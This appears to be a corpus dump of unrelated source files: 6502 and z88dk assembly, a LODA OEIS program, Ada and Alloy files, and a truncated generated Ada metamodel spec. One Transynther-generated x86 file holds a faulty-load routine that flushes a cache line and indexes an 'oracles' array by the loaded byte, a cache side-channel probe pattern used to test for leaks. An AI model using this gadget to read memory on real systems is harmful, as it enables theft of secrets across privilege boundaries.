58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58
*/
|
tests/test14.asm | dasien/mfc6502 | 0 | 98630 | <filename>tests/test14.asm
; code for an interrupt serviced data buffer. similar code is used to drive the XY
; stepper motors on a plotter with new position information every 5mS and also to
; allow pen up/down movement time of 70mS
*= $B000 ; set origin (buffer and variables must be in RAM)
Buffer ; 256 byte buffer (must start at page edge)
.word $0000,$0000,$0000,$0000,$0000,$0000,$0000,$0000
.word $0000,$0000,$0000,$0000,$0000,$0000,$0000,$0000
.word $0000,$0000,$0000,$0000,$0000,$0000,$0000,$0000
.word $0000,$0000,$0000,$0000,$0000,$0000,$0000,$0000
.word $0000,$0000,$0000,$0000,$0000,$0000,$0000,$0000
.word $0000,$0000,$0000,$0000,$0000,$0000,$0000,$0000
.word $0000,$0000,$0000,$0000,$0000,$0000,$0000,$0000
.word $0000,$0000,$0000,$0000,$0000,$0000,$0000,$0000
.word $0000,$0000,$0000,$0000,$0000,$0000,$0000,$0000
.word $0000,$0000,$0000,$0000,$0000,$0000,$0000,$0000
.word $0000,$0000,$0000,$0000,$0000,$0000,$0000,$0000
.word $0000,$0000,$0000,$0000,$0000,$0000,$0000,$0000
.word $0000,$0000,$0000,$0000,$0000,$0000,$0000,$0000
.word $0000,$0000,$0000,$0000,$0000,$0000,$0000,$0000
.word $0000,$0000,$0000,$0000,$0000,$0000,$0000,$0000
.word $0000,$0000,$0000,$0000,$0000,$0000,$0000,$0000
BRindx ; buffer read index
.byte $00
BWindx ; buffer write index
.byte $00
Sendf ; am sending flag
.byte $00
WByte ; temp store for the byte to be sent
.byte $00
; write the data to the buffer a byte at a time and increment the pointer.
; the routine is called with the byte to write in A. If the interrupt device
; is idle when this routine is called it will wake it up by doing a BRK
; before it exits
;
; destroys the Y register
*= $C000 ; set origin (can be ROM or RAM)
Incwritb
STA WByte ; save byte to write
LDA BRindx ; get read index
SEC ; set carry for subtract
SBC BWindx ; subtract write index
BEQ Dowrite ; if equal then buffer empty so do write
CMP #$02 ; need at least n+1 bytes to avoid rollover
BCC Incwritb ; loop if no space
; construct and write data to buffer
Dowrite
LDY BWindx ; get write index
LDA WByte ; get byte to write
STA Buffer,Y ; save it
INY ; increment index to next byte
STY BWindx ; save new write index byte
; now see if the interrupt service routine is already running or if it's idle
LDA Sendf ; get the sending flag
BNE Doingit ; skip call if running
BRK ; software call to interrupt routine
NOP ; need this as return from BRK is +1 byte!
CLI ; enable the interrupts
Doingit
RTS
; this is the interrupt service routine. takes a byte a time from the buffer
; and does some thing with it. also sets up the device(s) for the next interrupt
; no registers altered
BuffIRQ
PHA ; save A
TXA ; copy X
PHA ; save X
TYA ; copy Y
PHA ; save Y
; insert code here to ensure this is the interrupt you want. if it isn't then just exit
; quietly via ResExit the end of the routine
Getnext
JSR Increadb ; increment pointer and read byte from buffer
BCS ExitIRQ ; branch if no byte to do
; here would be the guts of the routine such as sending the byte to the ACIA or a
; printer port or some other byte device. it will also ensure the device is set to
; generate an interrupt when it's completed it's task
LDA #$FF ; set byte
STA Sendf ; set sending flag
JMP ResExit ; restore the registers & exit
; all done so clear the flag restore the regs & exit
ExitIRQ
LDA #$00 ; clear byte
STA Sendf ; clear sending flag
ResExit
PLA ; pull Y
TAY ; restore it
PLA ; pull X
TAX ; restore it
PLA ; restore A
RTI ; this was an interrupt service so exit properly
; get byte from the buffer and increment the pointer. If the buffer is empty then
; exit with the carry flag set else exit with carry clear and the byte in A
Increadb
LDY BRindx ; get buffer read index
CPY BWindx ; compare write index
BEQ NOktoread ; branch if empty (= sets carry)
LDA Buffer,Y ; get byte from buffer
INY ; increment pointer
STY BRindx ; save buffer read index
CLC ; clear not ok flag
NOktoread
RTS |
mos6502_as/test1.asm | ScottWLoyd/m6502_as | 0 | 10766 | <reponame>ScottWLoyd/m6502_as
LDA #$01
STA $0200 |
programs/oeis/073/A073504.asm | neoneye/loda | 22 | 9815 | <gh_stars>10-100
; A073504: A possible basis for finite fractal sequences: let u(1) = 1, u(2) = n, u(k) = floor(u(k-1)/2) + floor(u(k-2)/2); then a(n) = lim_{k->infinity} u(k).
; 0,0,0,2,2,2,2,4,4,4,4,6,6,8,8,10,10,10,10,12,12,12,12,14,14,14,14,16,16,18,18,20,20,20,20,22,22,22,22,24,24,24,24,26,26,28,28,30,30,30,30,32,32,34,34,36,36,36,36,38,38,40,40,42,42,42,42,44,44,44,44,46,46,46
lpb $0
sub $0,1
div $0,2
mov $2,$0
div $0,2
add $1,$2
sub $1,$0
lpe
mul $1,2
mov $0,$1
|
gcc-gcc-7_3_0-release/gcc/testsuite/gnat.dg/limited_with.adb | best08618/asylo | 7 | 19247 | -- { dg-do compile }
with Pack1;
package body limited_with is
procedure Print_2 (Obj : access Pack1.Nested.Rec_Typ) is
begin
null;
end;
end limited_with;
|
alloy4fun_models/trashltl/models/19/CCCydEHDmC5pMzLxY.als | Kaixi26/org.alloytools.alloy | 0 | 2590 | open main
pred idCCCydEHDmC5pMzLxY_prop20 {
always all f : File | f in Trash triggered f not in Protected
}
pred __repair { idCCCydEHDmC5pMzLxY_prop20 }
check __repair { idCCCydEHDmC5pMzLxY_prop20 <=> prop20o } |
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0x48.log_21829_2490.asm | ljhsiun2/medusa | 9 | 91702 | .global s_prepare_buffers
s_prepare_buffers:
push %r13
push %r14
push %r15
push %r8
push %rax
push %rbp
push %rcx
push %rdi
push %rsi
lea addresses_WT_ht+0x1e7dd, %rax
cmp $52371, %r15
mov $0x6162636465666768, %r14
movq %r14, %xmm6
vmovups %ymm6, (%rax)
dec %r13
lea addresses_D_ht+0x9341, %rcx
xor $47785, %r8
movb (%rcx), %r14b
nop
and $29047, %r8
lea addresses_WT_ht+0xf941, %r13
nop
nop
nop
nop
sub $6736, %rbp
mov (%r13), %ecx
nop
nop
nop
nop
nop
and $6946, %r15
lea addresses_D_ht+0x1add9, %rbp
nop
cmp %rax, %rax
movb $0x61, (%rbp)
inc %r14
lea addresses_UC_ht+0xed69, %rsi
lea addresses_A_ht+0x19201, %rdi
nop
nop
nop
nop
nop
add %r15, %r15
mov $109, %rcx
rep movsb
nop
nop
nop
nop
nop
xor %r13, %r13
lea addresses_D_ht+0xdd41, %rbp
cmp %r14, %r14
movl $0x61626364, (%rbp)
nop
nop
nop
mfence
lea addresses_normal_ht+0xd6c1, %rsi
lea addresses_normal_ht+0x11a41, %rdi
nop
nop
nop
xor $30370, %r14
mov $22, %rcx
rep movsq
sub %r13, %r13
lea addresses_WT_ht+0xb7bd, %rsi
lea addresses_D_ht+0x14335, %rdi
nop
cmp $21873, %rax
mov $74, %rcx
rep movsb
nop
nop
nop
nop
cmp %r8, %r8
lea addresses_D_ht+0x1e3a1, %r8
nop
nop
nop
nop
nop
mfence
movb (%r8), %cl
add $42531, %rbp
pop %rsi
pop %rdi
pop %rcx
pop %rbp
pop %rax
pop %r8
pop %r15
pop %r14
pop %r13
ret
.global s_faulty_load
s_faulty_load:
push %r12
push %r13
push %r14
push %r15
push %r8
push %rbp
// Faulty Load
lea addresses_RW+0x13f41, %rbp
clflush (%rbp)
nop
and %r12, %r12
movb (%rbp), %r13b
lea oracles, %r8
and $0xff, %r13
shlq $12, %r13
mov (%r8,%r13,1), %r13
pop %rbp
pop %r8
pop %r15
pop %r14
pop %r13
pop %r12
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_RW', 'AVXalign': False, 'congruent': 0, 'size': 8, 'same': False, 'NT': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_RW', 'AVXalign': False, 'congruent': 0, 'size': 1, 'same': True, 'NT': False}}
<gen_prepare_buffer>
{'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'AVXalign': False, 'congruent': 2, 'size': 32, 'same': False, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_D_ht', 'AVXalign': False, 'congruent': 8, 'size': 1, 'same': True, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WT_ht', 'AVXalign': False, 'congruent': 9, 'size': 4, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'AVXalign': True, 'congruent': 3, 'size': 1, 'same': False, 'NT': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_UC_ht', 'congruent': 3, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 6, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'AVXalign': False, 'congruent': 9, 'size': 4, 'same': False, 'NT': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_normal_ht', 'congruent': 6, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 8, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_WT_ht', 'congruent': 2, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 2, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_D_ht', 'AVXalign': False, 'congruent': 1, 'size': 1, 'same': False, 'NT': False}}
{'32': 21829}
32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32
*/
|
libsrc/stdio_new/general/stdio_statesave.asm | andydansby/z88dk-mk2 | 1 | 1085 | <gh_stars>1-10
; stdio_statesave
; 08.2009 aralbrec
XLIB stdio_statesave
; pushes all registers to stack
; companion to stdio_staterestore
; uses : hl
.stdio_statesave
ex (sp),hl ; hl = return address
push af
push bc
push de
ex af,af
exx
push af
push bc
push de
push hl
push ix
push iy
ex af,af
exx
jp (hl)
|
source/amf/ocl/amf-internals-tables-ocl_metamodel.ads | svn2github/matreshka | 24 | 17934 | ------------------------------------------------------------------------------
-- --
-- Matreshka Project --
-- --
-- Ada Modeling Framework --
-- --
-- Runtime Library Component --
-- --
------------------------------------------------------------------------------
-- --
-- Copyright © 2010-2012, <NAME> <<EMAIL>> --
-- All rights reserved. --
-- --
-- Redistribution and use in source and binary forms, with or without --
-- modification, are permitted provided that the following conditions --
-- are met: --
-- --
-- * Redistributions of source code must retain the above copyright --
-- notice, this list of conditions and the following disclaimer. --
-- --
-- * Redistributions in binary form must reproduce the above copyright --
-- notice, this list of conditions and the following disclaimer in the --
-- documentation and/or other materials provided with the distribution. --
-- --
-- * Neither the name of the Vadim Godunko, IE nor the names of its --
-- contributors may be used to endorse or promote products derived from --
-- this software without specific prior written permission. --
-- --
-- THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS --
-- "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT --
-- LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR --
-- A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT --
-- HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, --
-- SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED --
-- TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR --
-- PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF --
-- LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING --
-- NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS --
-- SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. --
-- --
------------------------------------------------------------------------------
-- $Revision$ $Date$
------------------------------------------------------------------------------
-- This file is generated, don't edit it.
------------------------------------------------------------------------------
package AMF.Internals.Tables.OCL_Metamodel is
pragma Preelaborate;
function MM_OCL_OCL return AMF.Internals.CMOF_Element;
function MC_OCL_Collection_Kind return AMF.Internals.CMOF_Element;
function MC_OCL_Any_Type return AMF.Internals.CMOF_Element;
function MC_OCL_Association_Class_Call_Exp return AMF.Internals.CMOF_Element;
function MC_OCL_Bag_Type return AMF.Internals.CMOF_Element;
function MC_OCL_Boolean_Literal_Exp return AMF.Internals.CMOF_Element;
function MC_OCL_Call_Exp return AMF.Internals.CMOF_Element;
function MC_OCL_Collection_Item return AMF.Internals.CMOF_Element;
function MC_OCL_Collection_Literal_Exp return AMF.Internals.CMOF_Element;
function MC_OCL_Collection_Literal_Part return AMF.Internals.CMOF_Element;
function MC_OCL_Collection_Range return AMF.Internals.CMOF_Element;
function MC_OCL_Collection_Type return AMF.Internals.CMOF_Element;
function MC_OCL_Enum_Literal_Exp return AMF.Internals.CMOF_Element;
function MC_OCL_Expression_In_Ocl return AMF.Internals.CMOF_Element;
function MC_OCL_Feature_Call_Exp return AMF.Internals.CMOF_Element;
function MC_OCL_If_Exp return AMF.Internals.CMOF_Element;
function MC_OCL_Integer_Literal_Exp return AMF.Internals.CMOF_Element;
function MC_OCL_Invalid_Literal_Exp return AMF.Internals.CMOF_Element;
function MC_OCL_Invalid_Type return AMF.Internals.CMOF_Element;
function MC_OCL_Iterate_Exp return AMF.Internals.CMOF_Element;
function MC_OCL_Iterator_Exp return AMF.Internals.CMOF_Element;
function MC_OCL_Let_Exp return AMF.Internals.CMOF_Element;
function MC_OCL_Literal_Exp return AMF.Internals.CMOF_Element;
function MC_OCL_Loop_Exp return AMF.Internals.CMOF_Element;
function MC_OCL_Message_Exp return AMF.Internals.CMOF_Element;
function MC_OCL_Message_Type return AMF.Internals.CMOF_Element;
function MC_OCL_Navigation_Call_Exp return AMF.Internals.CMOF_Element;
function MC_OCL_Null_Literal_Exp return AMF.Internals.CMOF_Element;
function MC_OCL_Numeric_Literal_Exp return AMF.Internals.CMOF_Element;
function MC_OCL_Ocl_Expression return AMF.Internals.CMOF_Element;
function MC_OCL_Operation_Call_Exp return AMF.Internals.CMOF_Element;
function MC_OCL_Ordered_Set_Type return AMF.Internals.CMOF_Element;
function MC_OCL_Primitive_Literal_Exp return AMF.Internals.CMOF_Element;
function MC_OCL_Property_Call_Exp return AMF.Internals.CMOF_Element;
function MC_OCL_Real_Literal_Exp return AMF.Internals.CMOF_Element;
function MC_OCL_Sequence_Type return AMF.Internals.CMOF_Element;
function MC_OCL_Set_Type return AMF.Internals.CMOF_Element;
function MC_OCL_State_Exp return AMF.Internals.CMOF_Element;
function MC_OCL_String_Literal_Exp return AMF.Internals.CMOF_Element;
function MC_OCL_Template_Parameter_Type return AMF.Internals.CMOF_Element;
function MC_OCL_Tuple_Literal_Exp return AMF.Internals.CMOF_Element;
function MC_OCL_Tuple_Literal_Part return AMF.Internals.CMOF_Element;
function MC_OCL_Tuple_Type return AMF.Internals.CMOF_Element;
function MC_OCL_Type_Exp return AMF.Internals.CMOF_Element;
function MC_OCL_Unlimited_Natural_Literal_Exp return AMF.Internals.CMOF_Element;
function MC_OCL_Unspecified_Value_Exp return AMF.Internals.CMOF_Element;
function MC_OCL_Variable return AMF.Internals.CMOF_Element;
function MC_OCL_Variable_Exp return AMF.Internals.CMOF_Element;
function MC_OCL_Void_Type return AMF.Internals.CMOF_Element;
function MP_OCL_Association_Class_Call_Exp_Referred_Association_Class_A_Referring_Exp return AMF.Internals.CMOF_Element;
function MP_OCL_Boolean_Literal_Exp_Boolean_Symbol return AMF.Internals.CMOF_Element;
function MP_OCL_Call_Exp_Source_A_Applied_Element return AMF.Internals.CMOF_Element;
function MP_OCL_Collection_Item_Item_A_Item1 return AMF.Internals.CMOF_Element;
function MP_OCL_Collection_Literal_Exp_Kind return AMF.Internals.CMOF_Element;
function MP_OCL_Collection_Literal_Exp_Part_A_Exp1 return AMF.Internals.CMOF_Element;
function MP_OCL_Collection_Range_First_A_First_Owner return AMF.Internals.CMOF_Element;
function MP_OCL_Collection_Range_Last_A_Last_Owner return AMF.Internals.CMOF_Element;
function MP_OCL_Collection_Type_Element_Type_A_Type1 return AMF.Internals.CMOF_Element;
function MP_OCL_Enum_Literal_Exp_Referred_Enum_Literal_A_Literal_Exp return AMF.Internals.CMOF_Element;
function MP_OCL_Expression_In_Ocl_Body_Expression_A_Top_Expression return AMF.Internals.CMOF_Element;
function MP_OCL_Expression_In_Ocl_Context_Variable_A_Self_Owner return AMF.Internals.CMOF_Element;
function MP_OCL_Expression_In_Ocl_Generated_Type_A_Owning_Classifier return AMF.Internals.CMOF_Element;
function MP_OCL_Expression_In_Ocl_Parameter_Variable_A_Var_Owner return AMF.Internals.CMOF_Element;
function MP_OCL_Expression_In_Ocl_Result_Variable_A_Result_Owner return AMF.Internals.CMOF_Element;
function MP_OCL_If_Exp_Condition_A_If_Owner return AMF.Internals.CMOF_Element;
function MP_OCL_If_Exp_Else_Expression_A_Else_Owner return AMF.Internals.CMOF_Element;
function MP_OCL_If_Exp_Then_Expression_A_Then_Owner return AMF.Internals.CMOF_Element;
function MP_OCL_Integer_Literal_Exp_Integer_Symbol return AMF.Internals.CMOF_Element;
function MP_OCL_Iterate_Exp_Result_A_Base_Exp return AMF.Internals.CMOF_Element;
function MP_OCL_Let_Exp_In_A_Exp4 return AMF.Internals.CMOF_Element;
function MP_OCL_Let_Exp_Variable_A_Exp5 return AMF.Internals.CMOF_Element;
function MP_OCL_Loop_Exp_Body_A_Loop_Body_Owner return AMF.Internals.CMOF_Element;
function MP_OCL_Loop_Exp_Iterator_A_Loop_Exp return AMF.Internals.CMOF_Element;
function MP_OCL_Message_Exp_Argument_A_Exp2 return AMF.Internals.CMOF_Element;
function MP_OCL_Message_Exp_Called_Operation_A_Exp6 return AMF.Internals.CMOF_Element;
function MP_OCL_Message_Exp_Sent_Signal_A_Exp7 return AMF.Internals.CMOF_Element;
function MP_OCL_Message_Exp_Target_A_Exp8 return AMF.Internals.CMOF_Element;
function MP_OCL_Message_Type_Referred_Operation_A_Type2 return AMF.Internals.CMOF_Element;
function MP_OCL_Message_Type_Referred_Signal_A_Type3 return AMF.Internals.CMOF_Element;
function MP_OCL_Navigation_Call_Exp_Navigation_Source_A_Exp9 return AMF.Internals.CMOF_Element;
function MP_OCL_Navigation_Call_Exp_Qualifier_A_Parent_Nav return AMF.Internals.CMOF_Element;
function MP_OCL_Operation_Call_Exp_Argument_A_Parent_Call return AMF.Internals.CMOF_Element;
function MP_OCL_Operation_Call_Exp_Referred_Operation_A_Refering_Exp return AMF.Internals.CMOF_Element;
function MP_OCL_Property_Call_Exp_Referred_Property_A_Refering_Exp return AMF.Internals.CMOF_Element;
function MP_OCL_Real_Literal_Exp_Real_Symbol return AMF.Internals.CMOF_Element;
function MP_OCL_State_Exp_Referred_State_A_Exp9 return AMF.Internals.CMOF_Element;
function MP_OCL_String_Literal_Exp_String_Symbol return AMF.Internals.CMOF_Element;
function MP_OCL_Template_Parameter_Type_Specification return AMF.Internals.CMOF_Element;
function MP_OCL_Tuple_Literal_Exp_Part_A_Exp3 return AMF.Internals.CMOF_Element;
function MP_OCL_Tuple_Literal_Part_Attribute_A_Part2 return AMF.Internals.CMOF_Element;
function MP_OCL_Type_Exp_Referred_Type_A_Exp11 return AMF.Internals.CMOF_Element;
function MP_OCL_Unlimited_Natural_Literal_Exp_Unlimited_Natural_Symbol return AMF.Internals.CMOF_Element;
function MP_OCL_Variable_Init_Expression_A_Initialized_Element return AMF.Internals.CMOF_Element;
function MP_OCL_Variable_Represented_Parameter_A_Variable return AMF.Internals.CMOF_Element;
function MP_OCL_Variable_Exp_Referred_Variable_A_Refering_Exp return AMF.Internals.CMOF_Element;
function MP_OCL_A_First_Owner_Collection_Range_First return AMF.Internals.CMOF_Element;
function MP_OCL_A_Exp9_State_Exp_Referred_State return AMF.Internals.CMOF_Element;
function MP_OCL_A_Last_Owner_Collection_Range_Last return AMF.Internals.CMOF_Element;
function MP_OCL_A_Refering_Exp_Property_Call_Exp_Referred_Property return AMF.Internals.CMOF_Element;
function MP_OCL_A_Type1_Collection_Type_Element_Type return AMF.Internals.CMOF_Element;
function MP_OCL_A_Exp3_Tuple_Literal_Exp_Part return AMF.Internals.CMOF_Element;
function MP_OCL_A_Refering_Exp_Variable_Exp_Referred_Variable return AMF.Internals.CMOF_Element;
function MP_OCL_A_Exp11_Type_Exp_Referred_Type return AMF.Internals.CMOF_Element;
function MP_OCL_A_Applied_Element_Call_Exp_Source return AMF.Internals.CMOF_Element;
function MP_OCL_A_Top_Expression_Expression_In_Ocl_Body_Expression return AMF.Internals.CMOF_Element;
function MP_OCL_A_Loop_Body_Owner_Loop_Exp_Body return AMF.Internals.CMOF_Element;
function MP_OCL_A_Self_Owner_Expression_In_Ocl_Context_Variable return AMF.Internals.CMOF_Element;
function MP_OCL_A_Loop_Exp_Loop_Exp_Iterator return AMF.Internals.CMOF_Element;
function MP_OCL_A_Type3_Message_Type_Referred_Signal return AMF.Internals.CMOF_Element;
function MP_OCL_A_Result_Owner_Expression_In_Ocl_Result_Variable return AMF.Internals.CMOF_Element;
function MP_OCL_A_Type2_Message_Type_Referred_Operation return AMF.Internals.CMOF_Element;
function MP_OCL_A_Var_Owner_Expression_In_Ocl_Parameter_Variable return AMF.Internals.CMOF_Element;
function MP_OCL_A_Owning_Classifier_Expression_In_Ocl_Generated_Type return AMF.Internals.CMOF_Element;
function MP_OCL_A_Literal_Exp_Enum_Literal_Exp_Referred_Enum_Literal return AMF.Internals.CMOF_Element;
function MP_OCL_A_Part2_Tuple_Literal_Part_Attribute return AMF.Internals.CMOF_Element;
function MP_OCL_A_Parent_Nav_Navigation_Call_Exp_Qualifier return AMF.Internals.CMOF_Element;
function MP_OCL_A_Parent_Call_Operation_Call_Exp_Argument return AMF.Internals.CMOF_Element;
function MP_OCL_A_Exp9_Navigation_Call_Exp_Navigation_Source return AMF.Internals.CMOF_Element;
function MP_OCL_A_Refering_Exp_Operation_Call_Exp_Referred_Operation return AMF.Internals.CMOF_Element;
function MP_OCL_A_If_Owner_If_Exp_Condition return AMF.Internals.CMOF_Element;
function MP_OCL_A_Then_Owner_If_Exp_Then_Expression return AMF.Internals.CMOF_Element;
function MP_OCL_A_Referring_Exp_Association_Class_Call_Exp_Referred_Association_Class return AMF.Internals.CMOF_Element;
function MP_OCL_A_Else_Owner_If_Exp_Else_Expression return AMF.Internals.CMOF_Element;
function MP_OCL_A_Base_Exp_Iterate_Exp_Result return AMF.Internals.CMOF_Element;
function MP_OCL_A_Exp4_Let_Exp_In return AMF.Internals.CMOF_Element;
function MP_OCL_A_Exp8_Message_Exp_Target return AMF.Internals.CMOF_Element;
function MP_OCL_A_Exp1_Collection_Literal_Exp_Part return AMF.Internals.CMOF_Element;
function MP_OCL_A_Exp2_Message_Exp_Argument return AMF.Internals.CMOF_Element;
function MP_OCL_A_Exp5_Let_Exp_Variable return AMF.Internals.CMOF_Element;
function MP_OCL_A_Exp6_Message_Exp_Called_Operation return AMF.Internals.CMOF_Element;
function MP_OCL_A_Item1_Collection_Item_Item return AMF.Internals.CMOF_Element;
function MP_OCL_A_Initialized_Element_Variable_Init_Expression return AMF.Internals.CMOF_Element;
function MP_OCL_A_Exp7_Message_Exp_Sent_Signal return AMF.Internals.CMOF_Element;
function MP_OCL_A_Variable_Variable_Represented_Parameter return AMF.Internals.CMOF_Element;
function MA_OCL_Collection_Range_First_First_Owner return AMF.Internals.CMOF_Element;
function MA_OCL_State_Exp_Referred_State_Exp9 return AMF.Internals.CMOF_Element;
function MA_OCL_Collection_Range_Last_Last_Owner return AMF.Internals.CMOF_Element;
function MA_OCL_Property_Call_Exp_Referred_Property_Refering_Exp return AMF.Internals.CMOF_Element;
function MA_OCL_Collection_Type_Element_Type_Type1 return AMF.Internals.CMOF_Element;
function MA_OCL_Tuple_Literal_Exp_Part_Exp3 return AMF.Internals.CMOF_Element;
function MA_OCL_Variable_Exp_Referred_Variable_Refering_Exp return AMF.Internals.CMOF_Element;
function MA_OCL_Type_Exp_Referred_Type_Exp11 return AMF.Internals.CMOF_Element;
function MA_OCL_Call_Exp_Source_Applied_Element return AMF.Internals.CMOF_Element;
function MA_OCL_Expression_In_Ocl_Body_Expression_Top_Expression return AMF.Internals.CMOF_Element;
function MA_OCL_Loop_Exp_Body_Loop_Body_Owner return AMF.Internals.CMOF_Element;
function MA_OCL_Expression_In_Ocl_Context_Variable_Self_Owner return AMF.Internals.CMOF_Element;
function MA_OCL_Loop_Exp_Iterator_Loop_Exp return AMF.Internals.CMOF_Element;
function MA_OCL_Message_Type_Referred_Signal_Type3 return AMF.Internals.CMOF_Element;
function MA_OCL_Expression_In_Ocl_Result_Variable_Result_Owner return AMF.Internals.CMOF_Element;
